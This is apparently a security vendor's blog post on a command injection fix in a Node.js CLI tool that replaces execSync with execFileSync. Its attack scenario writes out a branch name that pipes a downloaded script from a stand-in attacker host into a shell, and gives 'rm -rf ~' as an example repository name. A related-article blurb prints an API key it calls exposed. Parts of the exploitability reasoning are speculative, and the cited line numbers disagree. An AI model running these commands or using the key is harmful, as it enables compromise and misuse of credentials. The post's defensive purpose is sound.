Back to Blog
critical SEVERITY6 min read

How command injection via execSync() happens in Node.js CLI tools and how to fix it

A critical command injection vulnerability was discovered in `packages/core/bin/cli.js` where the `copyToClipboard` function used `execSync()` with shell command strings. Combined with insufficient filename sanitization in the cache functions, an attacker could inject arbitrary shell commands through malicious repository data containing shell metacharacters. The fix replaces `execSync()` with `execFileSync()` and tightens input sanitization on cache file paths.

O
By Orbis AppSec
Published July 28, 2026Reviewed July 28, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js CLI tool where `execSync()` invokes shell commands like `xclip -selection clipboard` as a string, allowing shell metacharacter injection. The fix replaces `execSync()` with `execFileSync()`, which bypasses the shell entirely by passing the command and arguments as separate array elements, and also sanitizes cache filenames with a strict allowlist regex `[^a-zA-Z0-9._-]`.

Vulnerability at a Glance

cweCWE-78
fixReplace execSync() with execFileSync() and sanitize cache file path components with allowlist regex
riskArbitrary command execution on developer machines using this CLI tool
languageJavaScript (Node.js)
root causeUsing execSync() with shell string interpolation instead of execFileSync() with argument arrays
vulnerabilityOS Command Injection via execSync()

How Command Injection via execSync() Happens in Node.js CLI Tools and How to Fix It

Introduction

The packages/core/bin/cli.js file implements a CLI tool that generates ASCII tree representations of GitHub repositories and copies them to the system clipboard. A critical flaw in the copyToClipboard function at line 162 created a command injection vector: it used Node.js's execSync() to invoke clipboard utilities (pbcopy, clip, xclip) through a shell. Combined with lax filename sanitization in the getCache and saveCache functions, an attacker who could influence repository data—such as crafting malicious file or folder names with shell metacharacters—could execute arbitrary commands on any developer's machine running this tool.

This vulnerability is particularly dangerous because the package is a Node.js library consumed by downstream developers. Every user who runs this CLI and copies output to their clipboard is exposed.

The Vulnerability Explained

Let's look at the vulnerable code:

function copyToClipboard(text) {
    // Zero-dependency clipboard logic
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

The core issue is that execSync() spawns a shell (/bin/sh -c "..." on Unix, cmd.exe /c "..." on Windows) to interpret the command string. While the text content is passed via the input option (stdin), the command string 'xclip -selection clipboard' is parsed by the shell.

Now consider the cache functions:

function getCache(repo, branch) {
    const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
    // ...
}

The original sanitization only replaced forward slashes (/) with underscores. A malicious repository name like user/repo; rm -rf ~ or a branch name containing backticks would pass through with shell metacharacters intact. If these values ever flow into a shell context or influence the ASCII tree output that gets copied, command injection becomes possible.

Attack Scenario

  1. An attacker creates a GitHub repository with a branch named `curl attacker.com/shell.sh|sh`
  2. A developer uses this CLI tool to generate a tree of that repository
  3. The ASCII tree output includes the malicious branch name
  4. When copyToClipboard is called, if any part of the pipeline involves shell interpretation of that data, the injected command executes
  5. The attacker's payload runs with the developer's full user privileges

Even in the simpler case, the xclip -selection clipboard string being passed through a shell is unnecessary attack surface. If the PATH environment variable is manipulated or if there's any way to influence which binary xclip resolves to in a shell context, exploitation becomes trivial.

The Fix

The fix addresses both the shell injection vector and the path traversal/injection risk in cache filenames:

Change 1: Replace execSync with execFileSync

Before:

import { execSync } from 'child_process';

// ...

function copyToClipboard(text) {
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

After:

import { execFileSync } from 'child_process';

// ...

function copyToClipboard(text) {
    // Zero-dependency clipboard logic (use execFileSync to avoid shell injection)
    if (process.platform === 'darwin') {
        execFileSync('pbcopy', [], { input: text });
    } else if (process.platform === 'win32') {
        execFileSync('clip', [], { input: text });
    } else {
        execFileSync('xclip', ['-selection', 'clipboard'], { input: text });
    }
}

execFileSync does not spawn a shell. It executes the binary directly, passing arguments as an array. The -selection and clipboard arguments are passed as separate array elements, so shell metacharacters in any surrounding context are never interpreted. There's no shell to exploit.

Change 2: Strict allowlist sanitization for cache filenames

Before:

const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);

After:

const file = path.join(cacheDir, `${repo.replace(/[^a-zA-Z0-9._-]/g, '_')}_${branch.replace(/[^a-zA-Z0-9._-]/g, '_')}.json`);

Instead of only replacing /, the fix uses an allowlist regex that strips everything except alphanumeric characters, dots, hyphens, and underscores. This eliminates shell metacharacters (;, `, $, |, (, ), etc.) from ever reaching the filesystem or downstream processing. The same sanitization is applied to both repo and branch parameters.

Prevention & Best Practices

  1. Never use execSync() or exec() in Node.js when you can use execFileSync() or spawn(). The shell-free alternatives eliminate an entire class of injection attacks.

  2. Use allowlist validation for user-influenced strings. The pattern /[^a-zA-Z0-9._-]/g is a safe default for filenames—strip anything that isn't known-safe rather than trying to blocklist dangerous characters.

  3. Apply defense in depth. Even though input passes data via stdin (not the command string), removing the shell eliminates the attack surface entirely. Don't rely on a single layer.

  4. Audit all child_process usage. Run a simple grep: grep -rn "execSync\|exec(" --include="*.js" to find all shell-spawning calls in your codebase.

  5. Use ESLint security plugins. The eslint-plugin-security package flags child_process calls that use shell strings.

  6. Consider the supply chain. This is a library—every downstream consumer inherits its vulnerabilities. Library authors bear extra responsibility for secure defaults.

Key Takeaways

  • execSync('xclip -selection clipboard') spawns a shell that can interpret metacharacters—even when data is passed via input, the shell invocation itself is unnecessary attack surface that execFileSync('xclip', ['-selection', 'clipboard']) eliminates entirely.
  • Replacing only / in repository names (repo.replace(/\//g, '_')) leaves shell metacharacters like ;, `, $, and | intact—an allowlist regex is the only safe approach for constructing filesystem paths from external data.
  • Node.js CLI tools that process GitHub repository metadata must treat repo names and branch names as untrusted input—attackers can craft these to contain arbitrary characters.
  • The child_process module's API design makes insecure usage the path of least resistanceexecSync is simpler to write than execFileSync with argument arrays, so teams should lint for it proactively.
  • Both the clipboard function AND the cache functions needed fixing—command injection often requires closing multiple gaps, not just patching the obvious sink.

How Orbis AppSec Detected This

  • Source: Repository and branch name data from GitHub API responses, flowing through getCache(), saveCache(), and ultimately into the ASCII tree output passed to copyToClipboard()
  • Sink: execSync('xclip -selection clipboard', { input: text }) in packages/core/bin/cli.js:168
  • Missing control: No shell avoidance (execFileSync) and no allowlist sanitization on repository/branch names used in cache paths and clipboard content
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync() with execFileSync() to bypass the shell entirely, and applied strict allowlist regex sanitization to cache filename components

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how a seemingly simple clipboard utility function can become a critical attack vector. The combination of execSync() with shell strings and insufficient input sanitization created a path from attacker-controlled GitHub repository metadata to arbitrary command execution on developer machines. The fix is straightforward—use execFileSync() with argument arrays and validate inputs with allowlist regexes—but the lesson is broader: every child_process call in a Node.js application should be treated as a potential injection point and audited accordingly.

If you maintain a Node.js CLI tool or library, audit your child_process usage today. Replace execSync and exec with their shell-free counterparts wherever possible. Your users' machines depend on it.

References

Frequently Asked Questions

What is command injection via execSync()?

Command injection via execSync() occurs when a Node.js application passes a command string to execSync(), which spawns a shell (e.g., /bin/sh) that interprets metacharacters like semicolons, backticks, and pipes—allowing attackers to append or inject arbitrary commands.

How do you prevent command injection in Node.js?

Use execFileSync() or spawn() instead of execSync(). These functions accept the command and arguments as separate parameters, bypassing the shell entirely so metacharacters are treated as literal text rather than shell syntax.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). It covers cases where user-controllable data is incorporated into OS commands without proper sanitization.

Is passing input via stdin enough to prevent command injection?

No. While passing data via stdin (the `input` option) avoids injecting into the command string itself, if the command string contains other attacker-controlled content or if the shell is invoked unnecessarily, injection vectors may still exist through the command name or arguments.

Can static analysis detect command injection via execSync()?

Yes. Static analysis tools like Semgrep, ESLint security plugins, and CodeQL have rules that flag execSync() usage with string arguments and can trace tainted data flows to identify exploitable patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

high

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

high

How command injection happens in Ruby backticks and how to fix it

A Jekyll plugin used unsafe Ruby backticks to execute a `git log` command with an unescaped file path, creating a command injection vulnerability. By switching to `Open3.capture2()` with argument array syntax, the fix prevents shell interpretation and eliminates the attack surface entirely.

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

critical

How shell command injection happens in Python subprocess and how to fix it

A critical shell command injection vulnerability was discovered in the radare2 build system's `meson.py` file, where `os.system()` was used with an f-string to execute git commands. An attacker who could control the `remote` variable could inject arbitrary shell commands. The fix replaces `os.system()` with `subprocess.call()` using a list of arguments, eliminating shell interpretation entirely.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `docling/models/stages/ocr/tesseract_ocr_cli_model.py`, where user-controlled inputs such as language identifiers, file paths, and the Tesseract executable path were passed directly into `subprocess.run()` calls without validation. An attacker who could influence these values — for example, by supplying a maliciously crafted document or configuration — could inject arbitrary shell arguments or commands. The fix introduces strict input

critical

How hardcoded API key exposure happens in JavaScript and how to fix it

A critical security vulnerability was discovered in `js/douban.js` where the Douban API key (`0ac44ae016490db2204ce0a042db2916`) was hardcoded directly in client-side JavaScript. This exposed the API credential to any user who could view the page source or use browser developer tools. The fix removed the hardcoded key, preventing unauthorized API access and potential abuse.